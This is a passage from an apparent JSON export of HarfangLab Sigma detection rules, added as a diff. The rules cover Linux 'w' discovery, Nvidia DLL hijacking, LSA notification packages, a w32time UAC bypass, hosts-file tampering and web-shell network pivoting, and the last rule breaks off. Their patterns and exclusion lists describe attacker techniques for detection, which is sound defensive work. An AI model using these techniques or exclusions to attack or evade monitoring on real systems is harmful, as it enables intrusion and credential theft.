+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.295642Z",
+  "creation_date": "2026-03-23T11:45:35.295645Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.295651Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://man7.org/linux/man-pages/man1/w.1.html",
+    "https://attack.mitre.org/techniques/T1033/",
+    "https://attack.mitre.org/techniques/T1049/",
+    "https://attack.mitre.org/techniques/T1087/001/"
+  ],
+  "name": "t1033_w_linux.yml",
+  "content": "title: W Execution\nid: e9cfaccc-7059-4782-b19c-b4274fa93697\ndescription: |\n    Detects the execution of the \"w\" command.\n    Attackers may use \"w\" during the discovery phase to retrieve the list of users currently logged on and their last action on the system.\n    It is recommended to check the parent process for suspicious activities.\nreferences:\n    - https://man7.org/linux/man-pages/man1/w.1.html\n    - https://attack.mitre.org/techniques/T1033/\n    - https://attack.mitre.org/techniques/T1049/\n    - https://attack.mitre.org/techniques/T1087/001/\ndate: 2022/12/23\nmodified: 2026/02/17\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1033\n    - attack.t1049\n    - attack.t1087.001\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith: '/w'\n\n    exclusion_ancestors:\n        Ancestors|contains:\n            - '|/usr/bin/run-parts|'\n            - '|/usr/sbin/crond|'\n\n    exclusion_update_motd:\n        # /bin/sh /etc/update-motd.d/17-users\n        ParentCommandLine|startswith: '/bin/sh /etc/update-motd.d/'\n\n    exclusion_cinnamon_screensaver:\n        ParentImage: '/usr/bin/python3.*'\n        ParentCommandLine:\n            - '/usr/bin/python3 /usr/bin/cinnamon-screensaver'\n            - '/usr/bin/python3 /usr/share/cinnamon-screensaver/cinnamon-screensaver-main.py'\n\n    exclusion_cohesity:\n        GrandparentCommandLine|contains: '/opt/cohesity/agent/software/crux/bin/'\n\n    exclusion_udevadm:\n        Ancestors|endswith: '|/usr/bin/udevadm|/usr/lib/systemd/systemd'\n\n    exclusion_x11vnc:\n        Ancestors|endswith: '|/usr/bin/x11vnc|/usr/lib/systemd/systemd'\n\n    exclusion_nagios:\n        - ParentImage: '/usr/sbin/nrpe'\n        - Ancestors|contains: '|/usr/sbin/nrpe|'\n        - CurrentDirectory: '/usr/nagios/plugins/'\n\n    # 760503f9eeb84437f5debd416e38577eb14499a32d94e154dff016f13e55297f\n    exclusion_vxc:\n        CommandLine|startswith: 'w -h'\n        ParentCommandLine: '/bin/bash /usr/bin/vxc-init'\n\n    exclusion_wapt:\n        - ProcessParentImage: '/opt/wapt/wapt-get.bin'\n        - ProcessAncestors|contains: '|/opt/wapt/wapt-get.bin|'\n\n    condition: selection and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e9cfaccc-7059-4782-b19c-b4274fa93697",
+  "rule_name": "W Execution",
+  "rule_description": "Detects the execution of the \"w\" command.\nAttackers may use \"w\" during the discovery phase to retrieve the list of users currently logged on and their last action on the system.\nIt is recommended to check the parent process for suspicious activities.\n",
+  "rule_creation_date": "2022-12-23",
+  "rule_modified_date": "2026-02-17",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1033",
+    "attack.t1049",
+    "attack.t1087.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e9d4a930-394e-4a87-971c-3ff014c667b6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.618223Z",
+  "creation_date": "2026-03-23T11:45:34.618225Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.618229Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://redcanary.com/blog/threat-intelligence/intelligence-insights-may-2025/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_nvidia.yml",
+  "content": "title: DLL Hijacking via Nvidia\nid: e9d4a930-394e-4a87-971c-3ff014c667b6\ndescription: |\n    Detects a potential Windows DLL hijacking via Nvidia software.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to check the loaded DLL for malicious content as well as to investigate the behavior of the Nvidia process.\nreferences:\n    - https://redcanary.com/blog/threat-intelligence/intelligence-insights-may-2025/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2025/05/23\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessInternalName: 'NVIDIA Notification'\n        ProcessProduct: 'NVIDIA Notification'\n        ProcessCompany: 'NVIDIA Corporation'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Nvidia Corporation'\n        ImageLoaded|endswith: '\\libcef.dll'\n\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files\\NVIDIA Corporation\\'\n            - '?:\\Program Files (x86)\\NVIDIA Corporation\\'\n\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Program Files\\NVIDIA Corporation\\'\n            - '?:\\Program Files (x86)\\NVIDIA Corporation\\'\n\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature:\n            - 'NVIDIA Corporation'\n            - 'NVIDIA Corporation PE Sign v2???'\n            - 'NVIDIA Corporation-PE-Prod-Sha1'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e9d4a930-394e-4a87-971c-3ff014c667b6",
+  "rule_name": "DLL Hijacking via Nvidia",
+  "rule_description": "Detects a potential Windows DLL hijacking via Nvidia software.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to check the loaded DLL for malicious content as well as to investigate the behavior of the Nvidia process.\n",
+  "rule_creation_date": "2025-05-23",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e9d731c0-0173-4196-8d31-3dd430a01429",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.074177Z",
+  "creation_date": "2026-03-23T11:45:34.074179Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.074183Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malicious.link/posts/2013/2013-09-11-stealing-passwords-every-time-they-change/",
+    "https://www.sentinelone.com/labs/moshen-dragons-triad-and-error-approach-abusing-security-software-to-sideload-plugx-and-shadowpad/",
+    "https://attack.mitre.org/techniques/T1556/002/"
+  ],
+  "name": "t1556_002_persistence_lsa_notification_package.yml",
+  "content": "title: LSA Notification Package Installed\nid: e9d731c0-0173-4196-8d31-3dd430a01429\ndescription: |\n    Detects the installation of a new notification package to LSA configuration.\n    Attackers can register a malicious notification package as a Windows DLL that will be loaded by LSASS.\n    It is recommended to investigate the DLL added in the registry details for malicious content.\nreferences:\n    - https://malicious.link/posts/2013/2013-09-11-stealing-passwords-every-time-they-change/\n    - https://www.sentinelone.com/labs/moshen-dragons-triad-and-error-approach-abusing-security-software-to-sideload-plugx-and-shadowpad/\n    - https://attack.mitre.org/techniques/T1556/002/\ndate: 2020/09/22\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.t1556.002\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.SystemModification\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject:\n            - 'HKLM\\System\\CurrentControlSet\\Control\\Lsa\\Notification Packages'\n            - 'HKLM\\System\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Notification Packages'\n\n    filter_empty:\n        Details: '(Empty)'\n\n    exclusion_malwarebytes:\n        Image: '?:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe'\n\n    # msiexec /Y c:\\Program Files\\AppSense\\Environment Manager\\Agent\\EmLogon.dll'\n    exclusion_appsense_emlogon:\n        ProcessCommandLine: '*\\Program Files\\AppSense\\Environment Manager\\Agent\\EmLogon.dll*'\n        Details: '*EmLogon*'\n\n    exclusion_checkpoint:\n        Image: '?:\\Program Files (x86)\\CheckPoint\\Endpoint Connect\\TracSrvWrapper.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Check Point Software Technologies Ltd.'\n\n    exclusion_known_fp:\n        Details:\n            - 'scecli'  # https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc963221(v=technet.10)?redirectedfrom=MSDN\n            - 'rassfm;scecli;clusauthmgr'\n            - 'scecli;?:\\Program Files\\ThinkPad\\Bluetooth Software\\BtwProximityCP.dll'\n            - 'scecli;?:\\Program Files\\ThinkVantage Fingerprint Software\\psqlpwd.dll'\n            - 'scecli;ACGina'  # Access Connections Gina Module is part of ThinkVantage Access Connections, a connectivity assistant program for your ThinkPad computer\n            - 'scecli;rassfm'\n            - 'rassfm;scecli'\n            - 'scecli;cywlx' # Cryhod by Prim'X Technologies http://www.herdprotect.com/signer-primx-technologies-4f8b10a423838554100fc80feb2f3a47.aspx\n            - 'rassfm;scecli;AzureADPasswordProtectionPFD.dll'  # Azure AD Password Protection filter dll\n            - 'SppFilter;rassfm;scecli'\n\n    exclusion_hp:\n        ProcessCommandLine: 'regsvr32.exe HPPwdFilter.dll /s /u'\n        Details: 'DPPassFilter;scecli'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e9d731c0-0173-4196-8d31-3dd430a01429",
+  "rule_name": "LSA Notification Package Installed",
+  "rule_description": "Detects the installation of a new notification package to LSA configuration.\nAttackers can register a malicious notification package as a Windows DLL that will be loaded by LSASS.\nIt is recommended to investigate the DLL added in the registry details for malicious content.\n",
+  "rule_creation_date": "2020-09-22",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1556.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ea37d20b-3582-4d62-9a57-ae2a80e3f4a5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.092608Z",
+  "creation_date": "2026-03-23T11:45:34.092610Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.092615Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/hfiref0x/UACME",
+    "https://attack.mitre.org/techniques/T1548/002/"
+  ],
+  "name": "t1548_002_prepare_uac_bypass_w32time.yml",
+  "content": "title: IDateTimeStateWriter COM UAC Bypass Prepared\nid: ea37d20b-3582-4d62-9a57-ae2a80e3f4a5\ndescription: |\n    Detects the preparation of a UAC bypass via w32time service.\n    Adversaries may bypass UAC mechanisms to elevate process privileges on system.\n    Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    It is recommended to analyze the process and user session responsible for the registry edit to look for malicious content or actions.\nreferences:\n    - https://github.com/hfiref0x/UACME\n    - https://attack.mitre.org/techniques/T1548/002/\ndate: 2021/01/07\nmodified: 2025/02/04\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1548.002\n    - attack.t1112\n    - attack.t1546.015\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.Hijacking\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection_event_type:\n        EventType: SetValue\n\n    selection_dll_method:\n        TargetObject: 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\Parameters\\ServiceDll'\n\n    filter_dll_method:\n        Details:\n            - '%systemroot%\\system32\\w32time.dll'\n            - '?:\\windows\\system32\\w32time.dll'\n\n    selection_image_path_method:\n        TargetObject: 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\ImagePath'\n\n    filter_image_path_method:\n        Details: '%SystemRoot%\\system32\\svchost.exe -k LocalService'\n\n    condition: selection_event_type and ((selection_dll_method and not filter_dll_method) or (selection_image_path_method and not filter_image_path_method))\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ea37d20b-3582-4d62-9a57-ae2a80e3f4a5",
+  "rule_name": "IDateTimeStateWriter COM UAC Bypass Prepared",
+  "rule_description": "Detects the preparation of a UAC bypass via w32time service.\nAdversaries may bypass UAC mechanisms to elevate process privileges on system.\nWindows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nIt is recommended to analyze the process and user session responsible for the registry edit to look for malicious content or actions.\n",
+  "rule_creation_date": "2021-01-07",
+  "rule_modified_date": "2025-02-04",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1546.015",
+    "attack.t1548.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ea4a20b7-8fa3-42dd-8761-60a1b0a2b1cc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.619798Z",
+  "creation_date": "2026-03-23T11:45:34.619800Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.619804Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/modifies_hosts_file",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1562_etc_hosts_windows.yml",
+  "content": "title: Suspicious Modification of Hosts File\nid: ea4a20b7-8fa3-42dd-8761-60a1b0a2b1cc\ndescription: |\n    Detects a suspicious attempt to modify C:\\windows\\system32\\drivers\\etc\\hosts.\n    This file is part of the network configuration and can be modified to falsify host resolution, redirect traffic to malicious servers, or prevent access to security-related domains.\n    It is recommended to ensure that the file has been modified by a legitimate process and that the new content is not malicious.\nreferences:\n    - https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/modifies_hosts_file\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2025/11/24\nmodified: 2026/02/05\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: filesystem_event\n    product: windows\ndetection:\n    selection:\n        Kind: 'write'\n        Path: '?:\\Windows\\System32\\drivers\\etc\\hosts'\n\n    exclusion_system:\n        ProcessName: 'System'\n        ProcessId: '4'\n\n    exclusion_gpo:\n        - ProcessImage|endswith: '\\svchost.exe'\n          ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n          ProcessUserSID: 'S-1-5-18'\n          ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n        - ProcessParentImage|endswith: '\\svchost.exe'\n          ProcessParentCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n          ProcessParentUserSID: 'S-1-5-18'\n          ProcessGrandparentImage: '?:\\Windows\\System32\\services.exe'\n        - ProcessGrandparentImage|endswith: '\\svchost.exe'\n          ProcessGrandparentCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n          ProcessGrandparentUserSID: 'S-1-5-18'\n\n    exclusion_scheduler:\n        - ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Schedule' # windows 10 Version 1703 and above\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p' # windows versions before 1703\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs' # windows 7\n            - '?:\\windows\\system32\\svchost.exe -k netsvcs -s Schedule' # Windows 10 1703\n        - ProcessParentCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Schedule' # windows 10 Version 1703 and above\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p' # windows versions before 1703\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs' # windows 7\n            - '?:\\windows\\system32\\svchost.exe -k netsvcs -s Schedule' # Windows 10 1703\n        - ProcessGrandparentCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Schedule' # windows 10 Version 1703 and above\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p' # windows versions before 1703\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs' # windows 7\n            - '?:\\windows\\system32\\svchost.exe -k netsvcs -s Schedule' # Windows 10 1703\n        - ProcessParentGrandparentCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Schedule' # windows 10 Version 1703 and above\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p' # windows versions before 1703\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs' # windows 7\n            - '?:\\windows\\system32\\svchost.exe -k netsvcs -s Schedule' # Windows 10 1703\n\n    exclusion_legit_software:\n        ProcessImage:\n            - '?:\\Program Files\\\\*'\n            - '?:\\Program Files (x86)\\\\*'\n            - '?:\\Windows\\Downloaded Program Files\\\\*'\n            # PDQ Inventory\n            - '?:\\Windows\\AdminArsenal\\PDQInventory-Scanner\\\\*\\exec\\PDQInventoryScanner.exe'\n            # Defender\n            - '?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\\\*\\MsMpEng.exe'\n            # Herd\n            - '?:\\Users\\\\*\\.config\\herd\\bin\\HerdHelper.exe'\n            # Redondance IP\n            - '*\\SrvRedondanceIP.exe'\n            # WDHCP\n            - '*\\Empower\\Instruments\\WDHCPServerSvc.exe'\n            # LMS\n            - '?:\\Windows\\System32\\DriverStore\\FileRepository\\lms.*\\LMS.exe'\n\n    exclusion_interactive_text_editors:\n        ProcessImage: '?:\\Windows\\System32\\notepad.exe'\n        SessionLogonType:\n            - '2'  # Interactive\n            - '11' # CachedInteractive\n\n    exclusion_airport_reservation_system:\n        ProcessCompany: 'RESA'\n        ProcessOriginalFileName:\n            - 'HostsFil.exe'\n            - 'CrewsCupps.exe'\n\n    exclusion_carbon_black:\n        ProcessOriginalFileName: 'cb.exe'\n        ProcessSignature: 'Carbon Black, Inc.'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ea4a20b7-8fa3-42dd-8761-60a1b0a2b1cc",
+  "rule_name": "Suspicious Modification of Hosts File",
+  "rule_description": "Detects a suspicious attempt to modify C:\\windows\\system32\\drivers\\etc\\hosts.\nThis file is part of the network configuration and can be modified to falsify host resolution, redirect traffic to malicious servers, or prevent access to security-related domains.\nIt is recommended to ensure that the file has been modified by a legitimate process and that the new content is not malicious.\n",
+  "rule_creation_date": "2025-11-24",
+  "rule_modified_date": "2026-02-05",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ea71ee12-4cfd-47a1-9258-3e0faa2f3769",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.081510Z",
+  "creation_date": "2026-03-23T11:45:34.081512Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.081516Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/sensepost/reGeorg/tree/master",
+    "https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/",
+    "https://www.cert.ssi.gouv.fr/cti/CERTFR-2023-CTI-009/",
+    "https://attack.mitre.org/techniques/T1505/003/"
+  ],
+  "name": "t1505_003_suspicious_network_connection_from_webserver_windows.yml",
+  "content": "title: Suspicious Network Activity from Web Server (Windows)\nid: ea71ee12-4cfd-47a1-9258-3e0faa2f3769\ndescription: |\n    Detects suspicious network communications by a web server related to a possible web shell.\n    Adversaries may backdoor web servers with web shells to establish persistent access to systems or to move laterally within a network.\n    Tools like reGeorg can be used by attackers to pivot inside the compromised environment.\n    It is recommended to verify the legitimacy of this network connection and check any other command executed by the web server.\nreferences:\n    - https://github.com/sensepost/reGeorg/tree/master\n    - https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/\n    - https://www.cert.ssi.gouv.fr/cti/CERTFR-2023-CTI-009/\n    - https://attack.mitre.org/techniques/T1505/003/\ndate: 2023/10/27\nmodified: 2025/10/14\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1505.003\n    - attack.lateral_movement\n    - attack.t1021\n    - classification.Windows.Source.NetworkActivity\n    - classification.Windows.Behavior.NetworkActivity\n    - classification.Windows.Behavior.RemoteShell\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    category: network_connection\n    product: windows\ndetection:\n    selection:\n        ProcessImage|endswith:\n            - '\\w3wp.exe'  # IIS\n            - '\\httpd.exe'  # Apache\n            - '\\nginx.exe'\n            - '\\php-cgi.exe'\n            - '\\tomcat.exe'\n            # C:\\Program Files\\Tomcat\\bin\\tomcat7.exe\n            # C:\\Program Files\\Tomcat\\bin\\tomcat8.exe\n            # C:\\Program Files\\Apache Software Foundation\\Tomcat 9.0\\bin\\Tomcat9.exe\n            - '\\tomcat?.exe'\n            # C:\\Program Files\\Tomcat\\bin\\tomcat7w.exe\n            - '\\tomcat??.exe'\n        DestinationPort:\n            - '22'\n            - '445'\n            - '3389'\n        Initiated: 'true'\n\n    exclusion_berger_levrault:\n        ProcessImage: 